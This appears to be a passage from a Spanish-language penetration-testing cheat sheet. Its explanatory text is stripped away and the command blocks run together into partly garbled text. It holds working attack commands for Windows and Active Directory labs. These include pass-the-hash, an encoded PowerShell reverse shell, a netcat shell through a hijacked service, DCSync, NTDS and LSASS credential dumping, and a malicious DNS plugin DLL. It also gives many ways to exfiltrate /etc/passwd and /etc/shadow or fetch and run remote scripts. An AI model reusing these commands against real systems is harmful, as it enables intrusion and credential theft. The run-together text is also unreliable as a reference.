-no-pass -old-bloodhound -target dc.dominio.htb -dc-ip 10.10.10.10 -debugsudo apt update -y && sudo apt install docker-compose -ycurl -L https://ghst.ly/getbhce -o docker-compose.yml# Copyright 2023 Specter Ops, Inc.
#
# Licensed under the Apache License, Version 2.0
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# SPDX-License-Identifier: Apache-2.0
services:
app-db:
image: docker.io/library/postgres:16
environment:
- PGUSER=${POSTGRES_USER:-bloodhound}
- POSTGRES_USER=${POSTGRES_USER:-bloodhound}
- POSTGRES_PASSWORD=${POSTGRES_PASSWORD:-bloodhoundcommunityedition}
- POSTGRES_DB=${POSTGRES_DB:-bloodhound}
# Database ports are disabled by default. Please change your database password to something secure before uncommenting
# ports:
# - 127.0.0.1:${POSTGRES_PORT:-5432}:5432
volumes:
- postgres-data:/var/lib/postgresql/data
healthcheck:
test:
[
"CMD-SHELL",
"pg_isready -U ${POSTGRES_USER:-bloodhound} -d ${POSTGRES_DB:-bloodhound} -h 127.0.0.1 -p 5432"
]
interval: 10s
timeout: 5s
retries: 5
start_period: 30s
graph-db:
image: docker.io/library/neo4j:4.4.42
environment:
- NEO4J_AUTH=${NEO4J_USER:-neo4j}/${NEO4J_SECRET:-bloodhoundcommunityedition}
- NEO4J_dbms_allow__upgrade=${NEO4J_ALLOW_UPGRADE:-true}
# Database ports are disabled by default. Please change your database password to something secure before uncommenting
ports:
- 127.0.0.1:${NEO4J_DB_PORT:-7687}:7687
- 127.0.0.1:${NEO4J_WEB_PORT:-7474}:7474
volumes:
- ${NEO4J_DATA_MOUNT:-neo4j-data}:/data
healthcheck:
test:
[
"CMD-SHELL",
"wget -O /dev/null -q http://localhost:7474 || exit 1"
]
interval: 10s
timeout: 5s
retries: 5
start_period: 30s
bloodhound:
image: docker.io/specterops/bloodhound:${BLOODHOUND_TAG:-latest}
environment:
- bhe_disable_cypher_complexity_limit=${bhe_disable_cypher_complexity_limit:-false}
- bhe_enable_cypher_mutations=${bhe_enable_cypher_mutations:-false}
- bhe_graph_query_memory_limit=${bhe_graph_query_memory_limit:-2}
- bhe_database_connection=user=${POSTGRES_USER:-bloodhound} password=${POSTGRES_PASSWORD:-bloodhoundcommunityedition} dbname=${POSTGRES_DB:-bloodhound} host=app-db
- bhe_neo4j_connection=neo4j://${NEO4J_USER:-neo4j}:${NEO4J_SECRET:-bloodhoundcommunityedition}@graph-db:7687/
- bhe_recreate_default_admin=${bhe_recreate_default_admin:-false}
- bhe_graph_driver=${GRAPH_DRIVER:-neo4j}
### Add additional environment variables you wish to use here.
### For common configuration options that you might want to use environment variables for, see `.env.example`
### example: bhe_database_connection=${bhe_database_connection}
### The left side is the environment variable you're setting for bloodhound, the variable on the right in `${}`
### is the variable available outside of Docker
ports:
### Default to localhost to prevent accidental publishing of the service to your outer networks
### These can be modified by your .env file or by setting the environment variables in your Docker host OS
- ${BLOODHOUND_HOST:-127.0.0.1}:${BLOODHOUND_PORT:-8080}:8080
### Uncomment to use your own bloodhound.config.json to configure the application
# volumes:
# - ./bloodhound.config.json:/bloodhound.config.json:ro
depends_on:
app-db:
condition: service_healthy
graph-db:
condition: service_healthy
volumes:
neo4j-data:
postgres-data:sudo docker-compose up -dsudo docker pssudo docker logs bloodhound-ce_bloodhound_1sudo docker-compose -f /opt/BloodHound-CE/docker-compose.yml startsudo docker-compose -f /opt/BloodHound-CE/docker-compose.yml stopsudo apt update -y && sudo apt install bloodhound neo4j -ysudo neo4j consolebloodhound > /dev/null 2>&1 & disownsudo neo4j consolebloodhound > /dev/null 2>&1 & disown64F12CDDAA88057E06A81B54E73B949B.\mimikatz.exe privilege::debug "sekurlsa::pth /user:julio /rc4:64F12CDDAA88057E06A81B54E73B949B /domain:gzzcoo.htb /run:cmd.exe" exitImport-Module .\Invoke-TheHash.psd1
Invoke-SMBExec -Target 172.16.1.10 -Domain gzzcoo.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "net user mark Password123 /add && net localgroup administrators mark /add" -Verbose.\nc.exe -lvnp 8001Import-Module .\Invoke-TheHash.psd1
Invoke-WMIExec -Target DC01 -Domain gzzcoo.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMwAzACIALAA4ADAAMAAxACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="gzzcoo@htb[/nobody]$ impacket-psexec administrator@10.10.10.10 -hashes :30B3783CE2ABF1AF70F77D0660CF3453
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Requesting shares on 10.10.10.10.....
[*] Found writable share ADMIN$
[*] Uploading file SLUBMRXK.exe
[*] Opening SVCManager on 10.10.10.10.....
[*] Creating service AdzX on 10.10.10.10.....
[*] Starting service AdzX.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19044.1415]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>nxc smb 172.16.1.0/24 -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453 -d . nxc smb 10.10.10.10 -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453 -d . -x whoamievil-winrm -i 10.10.10.10 -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453xfreerdp3 /u:'User' /pth:'<NTLM_HASH>' /v:192.168.134.129nxc smb 192.168.134.129 -u 'user' -H '<NTLM_HASH>' -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f'xfreerdp3 /u:'User' /pth:'<NTLM_HASH>' /v:192.168.134.129*Evil-WinRM* PS C:\Users\test\Documents> services
Path Privileges Service
---- ---------- -------
C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe True ADWS
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe True aspnet_state
\??\C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{5EB04B3D-85AE-4574-88FB-F22CF32D39F5}\MpKslDrv.sys True MpKslDrv
"C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\sqlservr.exe" -sMSSQLSERVER True MSSQLSERVER
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe True NetTcpPortSharing
C:\Windows\SysWow64\perfhost.exe True PerfHost
"C:\Program Files (x86)\Microsoft SQL Server\90\Shared\sqlbrowser.exe" True SQLBrowser
"C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\SQLAGENT.EXE" -i MSSQLSERVER True SQLSERVERAGENT
"C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\sqlceip.exe" -Service True SQLTELEMETRY
"C:\Program Files\Microsoft SQL Server\90\Shared\sqlwriter.exe" True SQLWriter
C:\Windows\servicing\TrustedInstaller.exe False TrustedInstaller
"C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe" True VGAuthService
C:\Program Files\VMWare\VMWare Tools\vmtoolsd.exe True VMTools
"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.1911.3-0\NisSrv.exe" True WdNisSvc
"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.1911.3-0\MsMpEng.exe" True WinDefend*Evil-WinRM* PS C:\Users\test\Documents> upload /usr/share/windows-binaries/nc.exe
Info: Uploading /usr/share/windows-binaries/nc.exe to C:\Users\test\Documents\nc.exe
Data: 79188 bytes of 79188 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Users\test\Documents> sc.exe config VMTools binPath="C:\Users\test\Documents\nc.exe -e cmd 10.10.16.5 443"
[SC] ChangeServiceConfig SUCCESS❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...*Evil-WinRM* PS C:\Users\test\Documents> sc.exe stop VMTools
SERVICE_NAME: VMTools
TYPE : 10 WIN32_OWN_PROCESS
STATE : 1 STOPPED
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
*Evil-WinRM* PS C:\Users\test\Documents> sc.exe start VMTools❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.10] 49948
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\systemC:\Users\bob\Desktop> LaZagne.exe all|====================================================================|
| |
| The LaZagne Project |
| |
| ! BANG BANG ! |
| |
|====================================================================|
########## User: bob ##########
------------------- Winscp passwords -----------------
[+] Password found !!!
URL: 10.129.202.51
Login: admin
Password: SteveisReallyCool123
Port: 22C:\> findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.git *.ps1 *.ymlGet-ChildItem -Path C:\ -Include *.txt,*.ini,*.cfg,*.config,*.xml,*.git,*.ps1,*.yml -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password"$SecPass = ConvertTo-SecureString 'Password01!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local\jr', $SecPass)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity jr -Rights DCSyncbloodyAD --host forest.htb.local --dc-ip 10.10.10.10 -d "htb.local" -u 'jr' -p 'Password01!' add dcsync "jr"# A través de Impacket
secretsdump.py htb.local/jr@10.10.10.10 -just-dc-ntlm -dc-ip 10.10.10.10
# A través de Netexec
netexec smb 10.10.10.10 -u 'username' -p 'password' --ntdsset context persistent nowriters
add volume c: alias gzzcoo
create
expose %gzzcoo% g: diskshadow.exe /s C:\Windows\Temp\test\diskshadow.txtrobocopy /b g:\Windows\NTDS\ . ntds.ditsecretsdump.py -system SYSTEM -ntds ntds.dit LOCALprivilege::debug sekurlsa::logonpasswordsfile lsass.DMP
pypykatz lsa minidump lsass.DMPC:\Windows\system32> tasklist /svc | findstr lsass.exe
Image Name PID Services
========================= ======== ============================================
System Idle Process 0 N/A
System 4 N/A
Registry 96 N/A
smss.exe 344 N/A
csrss.exe 432 N/A
wininit.exe 508 N/A
csrss.exe 520 N/A
winlogon.exe 580 N/A
services.exe 652 N/A
lsass.exe 672 KeyIso, SamSs, VaultSvc
svchost.exe 776 PlugPlay
svchost.exe 804 BrokerInfrastructure, DcomLaunch, Power,
SystemEventsBroker
fontdrvhost.exe 812 N/APS C:\Windows\system32> Get-Process lsass
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
1260 21 4948 15396 2.56 672 0 lsassPS C:\Windows\system32> rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672 C:\lsass.dmp fullnxc smb 10.99.99.10 -u 'user' -p 'Password01!' -M lsassynxc smb 10.99.99.10 -u 'user' -H '027ae3139c0b6e47d3825660c1ede923' -M lsassynxc smb dc.dominio.htb --use-kcache -M lsassylsassy -d dominio.htb -u 'user' -p 'Password' 10.99.99.10lsassy -d dominio.htb -u 'user' -H ':027ae3139c0b6e47d3825660c1ede923' 10.99.99.10lsassy -d dominio.htb -k --no-pass 10.99.99.10 -dc-ip 10.99.99.10echo '027ae3139c0b6e47d3825660c1ede923' > hashes.txt
hashcat -a 0 -m 1000 hashes.txt /usr/share/wordlist/rockyou.txthashcat -a 0 -m 1000 027ae3139c0b6e47d3825660c1ede923 /usr/share/wordlist/rockyou.txtmsfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=443 -f dll -o pwn.dll
impacket-smbserver smbFolder $(pwd) -smb2support
rlwrap -cAr nc -nlvp 443dnscmd.exe /config /serverlevelplugindll \\<ATTACKER_IP>\smbFolder\pwn.dll
sc.exe stop dns
sc.exe start dns
sudo -lfind / -perm -4000 2>/dev/nullenv$SecPassword = ConvertTo-SecureString 'Password' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('domain\user',$SecPassword)
Invoke-Command -ComputerName computer -Credential $Cred -ScriptBlock { whoami }# Desde el equipo victima convertimos el archivo 'file.bin' que no es legible a Base64
powershell -c "[convert]::ToBase64String((cat C:\\Temp\\file.bin -Encoding byte))"
[convert]::ToBase64String((cat C:\\Temp\\file.bin -Encoding byte))
# Desde el equipo atacante, descodificamos el contenido y obtenemos el archivo original. Nos hemos pasado el archivo solamente codificando en Base64.
echo '<BASE64_CODE>' | base64 -d > file.binnetstat -ano | grep LISTENss -tulniduname -agetcap -r / 2>/dev/null❯ md5sum <file_name>
e7f7d2522cc7fdec3e6cc2c1e2f20819 <file_name>cat archivo.txt | base64 -w0; echoecho -n '<BASE64_CODE>' | base64 -d > archivo.txtnc -nlvp 443 > archivo.txt# En caso de disponer de bash
cat archivo.txt > /dev/tcp/10.10.x.x/443
# En caso de disponer zsh o otra shell
bash -c 'cat archivo.txt > /dev/tcp/10.10.x.x/443'nc -nlvp 443 > archivo.txtnc -w 3 10.10.x.x 443 < archivo.txtpython3 -m http.server 80# Descargar archivo indicando HTTP, parámetro -o para indicar ruta donde almacenar el archivo, en caso de no indicar se almacena en el directorio actual
wget http://10.10.x.x/archivo.txt
wget http://10.10.x.x/archivo.txt -o /tmp/archivo.txt
# Descargar archivo desde la IP directamente, parámetro -o para indicar ruta donde almacenar el archivo, en caso de no indicar se almacena en el directorio actualV
wget 10.10.x.x/archivo.txt
wget 10.10.x.x/archivo.txt -o /tmp/archivo.txtpython3 -m http.server 80# Descargar archivo indicando HTTP, parámetro -o para indicar ruta donde almacenar el archivo, en caso de no indicar se almacena en el directorio actual
curl http://10.10.x.x/archivo.txt
curl http://10.10.x.x/archivo.txt -o /tmp/archivo.txt
# Descargar archivo desde la IP directamente, parámetro -o para indicar ruta donde almacenar el archivo, en caso de no indicar se almacena en el directorio actualV
curl 10.10.x.x/archivo.txt
curl 10.10.x.x/archivo.txt -o /tmp/archivo.txtcurl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bashwget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3
Hello World!python3 -m http.server 80exec 3<>/dev/tcp/10.10.10.32/80echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3cat <&3sudo systemctl enable ssh
sudo systemctl start ssh❯ netstat -lnpt
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN - # Copiar el archivo /etc/passwd de la máquina atacante a la máquina víctima con SSH/SCP en el directorio actual
scp user@10.10.x.x:/etc/passwd .
# Copiar el archivo /etc/passwd de la máquina atacante a la máquina víctima con SSH/SCP en el directorio /tmp con el nombre "passwd"
scp user@10.10.x.x:/etc/passwd /tmp/passwdpython2.7 -c 'import urllib;urllib.urlretrieve ("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'php -r 'const BUFFER = 1024; $fremote =
fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'php -r '$lines = @file("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bashruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh")))'perl -e 'use LWP::Simple; getstore("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh");'nc -nlvp 443 > archivo.txt# En caso de disponer de bash
cat archivo.txt > /dev/tcp/10.10.x.x/443
# En caso de disponer zsh o otra shell
bash -c 'cat archivo.txt > /dev/tcp/10.10.x.x/443'cat archivo.txt | base64 -w0; echoecho -n '<BASE64_CODE>' | base64 -d > archivo.txtsudo python3 -m pip install --user uploadserveropenssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'mkdir https && cd https
python3 -m uploadserver 443 --server-certificate ../server.pemcurl -X POST https://10.10.x.x/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow--insecure❯ python3 -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...curl -X POST http://10.10.16.11:8000/upload -F 'files=@/etc/passwd'
curl -X POST http://10.10.16.11:8000/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow'python3 -m http.serverpython2.7 -m SimpleHTTPServerphp -S 0.0.0.0:8000Vruby -run -ehttpd . -p8000wget 10.10.x.x:8000/filetrotransfer.txt
curl 10.10.x.x:8000/filetrotransfer.txt -o filetotransfer.txtscp /etc/passwd user@10.10.x.x:/home/gzzcoo/❯ python3 -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...python3 -c 'import requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("/etc/passwd","rb")})' To use the requests function, we need to import the module first.
import requests
# Define the target URL where we will upload the file.
URL = "http://192.168.187.128:8000/upload"
# Define the file we want to read, open it and save it in a variable.
file = open("/etc/passwd","rb")
# Use a requests POST request to upload the file.
r = requests.post(URL,files={"files":file})python3 upload.py❯ python3 -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...php -r '$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://192.168.187.128:8000/upload"); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, ["files" => new CURLFile("/etc/passwd")]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); echo $response;'<?php
$target_url = "http://192.168.187.128:8000/upload";
$file_path = "/etc/passwd";
// Inicializar cURL
$ch = curl_init();
// Configurar la solicitud POST con el archivo
$cfile = new CURLFile($file_path);
$post_data = ["files" => $cfile];
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Ejecutar la solicitud
$response = curl_exec($ch);
// Cerrar cURL
curl_close($ch);
// Mostrar la respuesta del servidor
echo $response;
?>php upload.php❯ python3 -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...ruby -e "require 'net/http'; require 'uri'; require 'multipart/post'; url = URI.parse('http://192.168.187.128:8000/upload'); file = File.open('/etc/passwd', 'rb'); request = Net::HTTP::Post.new(url.path); request.set_form([['files', file]], 'multipart/form-data'); response = Net::HTTP.start(url.host, url.port) { |http| http.request(request) }; puts response.body"require 'net/http'
require 'uri'
require 'multipart/post'
url = URI.parse("http://192.168.187.128:8000/upload")
file = File.open("/etc/passwd", "rb")
request = Net::HTTP::Post.new(url.path)
request.set_form([['files', file]], 'multipart/form-data')
response = Net::HTTP.start(url.host, url.port) { |http| http.request(request) }
puts response.bodyruby upload.rb❯ python3 -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...perl -e 'use LWP::UserAgent; use HTTP::Request::Common qw(POST); use HTTP::Request; my $url = "http://192.168.187.128:8000/upload"; my $file_path = "/etc/passwd"; my $ua = LWP::UserAgent->new; my $response = $ua->request(POST $url, Content_Type => "multipart/form-data", Content => [ "files" => [ $file_path ] ]); print $response->decoded_content;'se LWP::UserAgent;
use HTTP::Request::Common qw(POST);
use HTTP::Request;
use File::Basename;
my $url = 'http://192.168.187.128:8000/upload';
my $file_path = '/etc/passwd';
# Crear un objeto LWP::UserAgent
my $ua = LWP::UserAgent->new;
# Crear una solicitud POST con el archivo
my $response = $ua->request(POST $url,
Content_Type => 'multipart/form-data',
Content => [
'files' => [ $file_path ]
]
);
# Mostrar la respuesta
print $response->decoded_content;perl upload.pltype $env:USERPROFILE\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txtPS C:\htb> Invoke-WebRequest http://10.10.10.32/nc.exe -OutFile "C:\Users\Public\nc.exe"
PS C:\htb> Invoke-RestMethod http://10.10.10.32/nc.exe -OutFile "C:\Users\Public\nc.exe"GET /nc.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.14393.0PS C:\htb> $h=new-object -com WinHttp.WinHttpRequest.5.1;
PS C:\htb> $h.open('GET','http://10.10.10.32/nc.exe',$false);
PS C:\htb> $h.send();
PS C:\htb> iex $h.ResponseTextGET /nc.exe HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)PS C:\htb> $h=New-Object -ComObject Msxml2.XMLHTTP;
PS C:\htb> $h.open('GET','http://10.10.10.32/nc.exe',$false);
PS C:\htb> $h.send();
PS C:\htb> iex $h.responseTextGET /nc.exe HTTP/1.1
Accept: */*
Accept-Language: en-us
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E)C:\htb> certutil -urlcache -split -f http://10.10.10.32/nc.exe
C:\htb> certutil -verifyctl -split -f http://10.10.10.32/nc.exeGET /nc.exe HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Accept: */*
User-Agent: Microsoft-CryptoAPI/10.0PS C:\htb> Import-Module bitstransfer;
PS C:\htb> Start-BitsTransfer 'http://10.10.10.32/nc.exe' $env:temp\t;
PS C:\htb> $r=gc $env:temp\t;
PS C:\htb> rm $env:temp\t;
PS C:\htb> iex $rHEAD /nc.exe HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Encoding: identity
User-Agent: Microsoft BITS/7.8PS C:\Users\gzzcoo> [Microsoft.PowerShell.Commands.PSUserAgent].GetProperties() | Select-Object Name,@{label="User Agent";Expression={[Microsoft.PowerShell.Commands.PSUserAgent]::$($_.Name)}} | fl
Name : InternetExplorer
User Agent : Mozilla/5.0 (compatible; MSIE 9.0; Windows NT; Windows NT 10.0; es-ES)
Name : FireFox
User Agent : Mozilla/5.0 (Windows NT; Windows NT 10.0; es-ES) Gecko/20100401 Firefox/4.0
Name : Chrome
User Agent : Mozilla/5.0 (Windows NT; Windows NT 10.0; es-ES) AppleWebKit/534.6 (KHTML, like Gecko) Chrome/7.0.500.0
Safari/534.6
Name : Opera
User Agent : Opera/9.70 (Windows NT; Windows NT 10.0; es-ES) Presto/2.2.1
Name : Safari
User Agent : Mozilla/5.0 (Windows NT; Windows NT 10.0; es-ES) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0
Safari/533.16PS C:\gzzcoo> $UserAgent = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome
PS C:\gzzcoo> Invoke-WebRequest http://10.10.10.32/nc.exe -UserAgent $UserAgent -OutFile "C:\Users\Public\nc.exe"gzzcoo@htb[/htb]$ nc -lvnp 80
listening on [any] 80 ...
connect to [10.10.10.32] from (UNKNOWN) [10.10.10.132] 51313
GET /nc.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) AppleWebKit/534.6
(KHTML, Like Gecko) Chrome/7.0.500.0 Safari/534.6
Host: 10.10.10.32
Connection: Keep-AlivePS C:\htb> GfxDownloadWrapper.exe "http://10.10.10.132/mimikatz.exe" "C:\Temp\nc.exe"krb5-user y krb5-config en el equipo local.ccache.
















export KRB5CCNAME=$(pwd)/user.ccachesudo apt install krb5-userklistsudo apt install krb5-config -ysudo nano /etc/krb5.conf[libdefaults]
default_realm = DOMINIO.HTB
ticket_lifetime = 24h
renew_lifetime = 7d
forwardable = true
rdns = false
[realms]
HAZE.HTB = {
kdc = 10.10.10.10
admin_server = 10.10.10.10
}
[domain_realm]
.dominio.htb = DOMINIO.HTB
dominio.htb = DOMINIO.HTBgzzcoo@htb[/htb]$ ssh david@inlanefreight.htb@10.129.204.23 -p 2222
david@inlanefreight.htb@10.129.204.23's password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-126-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue 11 Oct 2022 09:30:58 AM UTC
System load: 0.09 Processes: 227
Usage of /: 38.1% of 13.70GB Users logged in: 2
Memory usage: 32% IPv4 address for ens160: 172.16.1.15
Swap usage: 0%
* Super-optimized for small spaces - read how we shrank the memory
footprint of MicroK8s to make it the smallest full K8s around.
https://ubuntu.com/blog/microk8s-memory-optimisation
12 updates can be applied immediately.
To see these additional updates run: apt list --upgradable
New release '22.04.1 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
Last login: Tue Oct 11 09:30:46 2022 from 172.16.1.5
david@inlanefreight.htb@linux01:~$ david@inlanefreight.htb@linux01:~$ realm list
inlanefreight.htb
type: kerberos
realm-name: INLANEFREIGHT.HTB
domain-name: inlanefreight.htb
configured: kerberos-member
server-software: active-directory
client-software: sssd
required-package: sssd-tools
required-package: sssd
required-package: libnss-sss
required-package: libpam-sss
required-package: adcli
required-package: samba-common-bin
login-formats: %U@inlanefreight.htb
login-policy: allow-permitted-logins
permitted-logins: david@inlanefreight.htb, julio@inlanefreight.htb
permitted-groups: Linux Adminsdavid@inlanefreight.htb@linux01:~$ ps -ef | grep -i "winbind\|sssd"
root 2140 1 0 Sep29 ? 00:00:01 /usr/sbin/sssd -i --logger=files
root 2141 2140 0 Sep29 ? 00:00:08 /usr/libexec/sssd/sssd_be --domain inlanefreight.htb --uid 0 --gid 0 --logger=files
root 2142 2140 0 Sep29 ? 00:00:03 /usr/libexec/sssd/sssd_nss --uid 0 --gid 0 --logger=files
root 2143 2140 0 Sep29 ? 00:00:03 /usr/libexec/sssd/sssd_pam --uid 0 --gid 0 --logger=filesdavid@inlanefreight.htb@linux01:~$ find / -name *keytab* -ls 2>/dev/null
<SNIP>
131610 4 -rw------- 1 root root 1348 Oct 4 16:26 /etc/krb5.keytab
262169 4 -rw-rw-rw- 1 root root 216 Oct 12 15:13 /opt/specialfiles/carlos.keytabcarlos@inlanefreight.htb@linux01:~$ crontab -l
# Edit this file to introduce tasks to be run by cron.
#
<SNIP>
#
# m h dom mon dow command
*5/ * * * * /home/carlos@inlanefreight.htb/.scripts/kerberos_script_test.sh
carlos@inlanefreight.htb@linux01:~$ cat /home/carlos@inlanefreight.htb/.scripts/kerberos_script_test.sh
#!/bin/bash
